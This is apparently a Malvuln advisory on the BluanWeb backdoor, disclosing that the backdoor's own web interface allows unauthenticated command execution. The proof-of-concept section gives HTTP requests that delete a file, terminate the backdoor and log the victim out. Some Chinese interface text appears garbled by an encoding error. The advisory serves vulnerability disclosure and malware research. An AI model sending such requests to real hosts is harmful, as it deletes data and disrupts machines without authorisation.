Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BluanWeb Vulnerability: Unauthenticated Remote Command Execution Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML page with links to delete, logoff or exit the system. Third-party attackers who can reach an infected host can make HTTP GET request to execute commands made available by the backdoor. [固定磁盘C] å·æ ‡åï¼š 文件名长度 255 文件系统 NTFS 磁盘大小 3625.000000 MB 剩余空间 3284.000000 MB [光盘D] [Fixed Disk C] Volume label name Filename length 255 File system NTFS Disk size 3625.000000 MB Free space 3284.000000 MB [Disc D] Family:BluanWeb Type: PE32 MD5: 30903ccbc6747c0da5a2775884b78def Vuln ID: MVID-2022-0506 Disclosure: 03/03/2022 Exploit/PoC: 1) delete any file http://x.x.x.x/unlink_C:/Boot/BCD.LOG 2) DOS backdoor curl http://x.x.x.x/exit 3) sign out the victim machine curl http://x.x.x.x/logoff Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).